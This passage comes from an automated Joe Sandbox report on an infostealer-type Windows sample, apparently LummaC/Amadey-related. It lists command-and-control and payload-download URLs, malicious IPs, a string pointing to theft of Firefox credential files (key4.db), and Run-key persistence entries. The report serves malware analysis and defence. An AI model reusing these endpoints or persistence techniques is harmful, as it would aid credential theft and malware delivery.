https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	ea2c7beae0.exe, 00000010.00000003.2817250270.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900t	ea2c7beae0.exe, 00000007.00000003.2443518589.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ata	6a8d4317d4.exe, 00000011.00000002.2867421028.000000000167E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://licendfilteo.site:443/apiH	skotes.exe, 0000000D.00000003.2668339801.0000000001676000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.0000000001676000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/a	ea2c7beae0.exe, 00000007.00000003.2461981154.00000000010C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://studennotediw.store:443/api:d	ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/om	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/skin_1/pr	ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/skin_1/profilev2.css?v=t9xiI4DlPpEB&l=english	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.st	ea2c7beae0.exe, 00000010.00000002.2919863056.0000000000839000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2894096560.0000000000839000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	ea2c7beae0.exe, 00000010.00000003.2817250270.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	ea2c7beae0.exe, 0000000B.00000003.2640890010.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2813913786.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/mine/random.exeP	ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.steamstatic.com/p	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/s.j	ea2c7beae0.exe, 0000000B.00000003.2670087048.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2663928952.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2669601463.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://licendfilteo.site:443/apiF1	ea2c7beae0.exe, 00000010.00000003.2741472701.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/5xx-error-landing	ea2c7beae0.exe, 00000007.00000003.2461981154.00000000010C9000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587460635.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2894096560.0000000000829000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/pi	ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/mine/random.exe	ea2c7beae0.exe, 0000000B.00000003.2864940536.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000002.2920844203.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phprPe	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	ea2c7beae0.exe, 0000000B.00000003.2603997496.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785413689.0000000005385000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpqy	skotes.exe, 00000006.00000002.2921573681.0000000001437000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/promo/summer2017/stickers.css?v=P8gOPraCSjV6&l=engl	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL&l=	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.372	6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/Cy	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/D	ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/javascript/global.js?v=7qlUmHSJhPRN&l=english	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpC	skotes.exe, 00000006.00000002.2921573681.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/5	ea2c7beae0.exe, 0000000B.00000003.2587460635.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/6	ea2c7beae0.exe, 00000007.00000002.2464806930.0000000001083000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/steam/random.exeV;	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpJ	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpH	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recaptcha.net/recaptcha/;	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dissapoiznw.store:443/api	skotes.exe, 0000000D.00000003.2668339801.0000000001676000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.0000000001676000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/4	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR7y	ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000006.00000002.2921573681.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com:443/api4p.default-release/key4.dbPK	ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/Up	ea2c7beae0.exe, 00000007.00000002.2464806930.0000000001083000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/ia_id	ea2c7beae0.exe, 0000000B.00000003.2684413253.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	ea2c7beae0.exe, 0000000B.00000003.2640890010.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2813913786.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	ea2c7beae0.exe, 0000000B.00000003.2640890010.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2813913786.0000000005383000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/shared/css/buttons.css?v=-WV9f1LdxEjq&l=english	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/javascript/applications/community/libraries~b28b7af69.js?v=	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a61J	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a61	ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/apipE	ea2c7beae0.exe, 0000000B.00000003.2684413253.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537094
Start date and time:	2024-10-18 15:02:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	h3yRbjNWk1.exe renamed because original name is a hash value
Original Sample Name:	29c296c7b8335c9d6ee3215f5484c3e0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@31/15@36/6
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 6a8d4317d4.exe, PID 5064 because there are no executed function
Execution Graph export aborted for target ea2c7beae0.exe, PID 1168 because there are no executed function
Execution Graph export aborted for target h3yRbjNWk1.exe, PID 6812 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2944 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5264 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: h3yRbjNWk1.exe

Simulations

Behavior and APIs

Time	Type	Description
09:04:01	API Interceptor	1034x Sleep call for process: skotes.exe modified
09:04:11	API Interceptor	38x Sleep call for process: ea2c7beae0.exe modified
09:04:37	API Interceptor	31x Sleep call for process: num.exe modified
09:04:58	API Interceptor	27x Sleep call for process: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe modified
14:02:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
14:04:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ea2c7beae0.exe C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe
14:04:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6a8d4317d4.exe C:\Users\user\1000350002\6a8d4317d4.exe
14:04:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ea2c7beae0.exe C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe
14:04:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6a8d4317d4.exe C:\Users\user\1000350002\6a8d4317d4.exe
14:04:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000401001\num.exe
14:05:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000401001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	NbJ53jOHvQ.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	E54zi65444.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
